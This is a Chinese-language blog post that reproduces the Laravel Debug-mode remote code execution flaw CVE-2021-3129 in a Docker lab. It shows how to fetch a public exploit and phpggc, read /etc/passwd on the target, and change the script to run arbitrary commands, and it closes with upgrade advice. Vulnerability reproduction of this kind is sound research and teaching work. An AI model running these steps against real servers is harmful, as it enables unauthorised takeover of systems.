CVE-2021-3129 Laravel Debug mode 远程代码执行漏洞复现

VSole2021-07-14 13:10:41

0x00 简介

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),旨在实现的Web软件的MVC架构,它可以让开发者从面条一样杂乱的代码中解脱出来,帮助构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。

在Laravel中已经具有了一套高级的PHP ActiveRecord实现 -- Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样开发者就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。

0x01 漏洞概述

Laravel <= 8.4.2 存在远程代码执行漏洞,当Laravel开启了Debug模式时,由于Laravel自带的2.5.2之前的Ignition功能的某些接口和函数存在过滤不严,未经过身份验证的远程攻击者可以发起恶意请求,通过构造恶意Log文件等方式触发phar反序列化,从而造成远程代码执行,控制服务器。

0x02 影响版本

Laravel<=8.4.2
Ignition<2.5.2

0x03 环境搭建

1.使用github已经搭建好的环境进行复现。

gitclone git://github.com/SNCKER/CVE-2021-3129

2.切换到刚刚下载的目录,执行以下命令即可自动完成环境搭建和启动。

docker-compose up -d

3.浏览器访问 http://192.168.141.131:8888,出现如下界面。

点击Generate app key,发送请求,在配置文件中配置了一个加密key。

再刷新一下界面,出现以下内容即搭建成功。

0x04 漏洞复现

1.github上的环境附带exp,使用vim打开查看,其默认目标为本地,执行"cat /etc/passwd"命令

2.在执行exp之前,需要下载phpggc工具,phpggc要和exploit.py在放同一文件夹内

gitclone git://github.com/ambionics/phpggc.git

3.执行如下代码,即可默认查看 /etc/passwd 文件

python3 exploit.py

4.简单修改一下 exploit.py 脚本即可执行任意命令

Vim打开脚本,首先在exploit.py开头import sys库

主函数改为如下内容(注意缩进)

args= sys.argv
url= args[1]
command= args[2]
Exp(url, command)

运行如下指令,第1个参数即为目标ip,第2个参数即为想要执行的命令

python3 exploit.py http://127.0.0.1:8888 'ifconfig'

0x05 防护建议

1.使用白名单限制相关web项目的访问来降低风险;

2.将 Laravel 框架升级至8.4.3及其以上版本,或者将facade ignition组件升级至 2.5.2 及其以上版本。

漏洞
本作品采用《CC 协议》,转载必须注明作者和本文链接
该公司吸引的总投资金额已超过5600万美元,新一轮融资将主要用于加速公司在全球范围内的扩张,并支持其从北美到欧洲不断增长的全球客户群,同时也将支持推进AI路线和产品技术创新。
漏洞概述  漏洞名称Google Chrome WebRTC 堆缓冲区溢出漏洞漏洞编号QVD-2023-48180,CVE-2023-7024公开时间2023-12-20影响量级千万级奇安信评级高危CVSS 3.1分数8.8威胁类型代码执行、拒绝服务利用可能性高POC状态未公开在野利用状态已发现EXP状态未公开技术细节状态未公开利用条件:需要用户交互。01 漏洞详情影
漏洞分析 CVE-2010-0249
2023-11-25 17:50:17
漏洞分析 CVE-2010-0249
漏洞信息共享合作单位证书近日,Coremail获得由国家信息安全漏洞库(CNNVD)颁发的“CNNVD漏洞信息共享合作单位”证书。 此证书是国家权威机构对Coremail安全研究技术和漏洞挖掘技术实力的充分肯定,也是双方合作的里程碑。 国家信息安全漏洞库(CNNVD), 为负责建设运维的国家级信息安全漏洞数据管理平台, 旨在为我国信息安全保障提供服务。  “
漏洞预警 CraftCMS远程代码执行漏洞
漏洞排查与处置,是安全管理员在安全运营中都会碰到的问题,常见却很难做好。
美国联邦调查局于近日警告称,梭子鱼电子邮件安全网关(ESG)的一个重要远程命令注入漏洞的补丁 "无效",已打补丁的设备仍在不断受到攻击。
点击上方蓝字 关注安全知识引言Fiora:漏洞PoC框架Nuclei的图形版。快捷搜索PoC、一键运行Nu
Mikrotik RouterOS操作系统不支持暴力保护,默认的“admin”用户密码在2021年10月之前是空字符串。更让人震惊的是,检测CVE-2023-30799的利用“几乎不可能”,因为RouterOS web和Winbox接口实现了自定义加密,而威胁检测系统Snort和Suricata无法解密和检查这些加密。
VSole
网络安全专家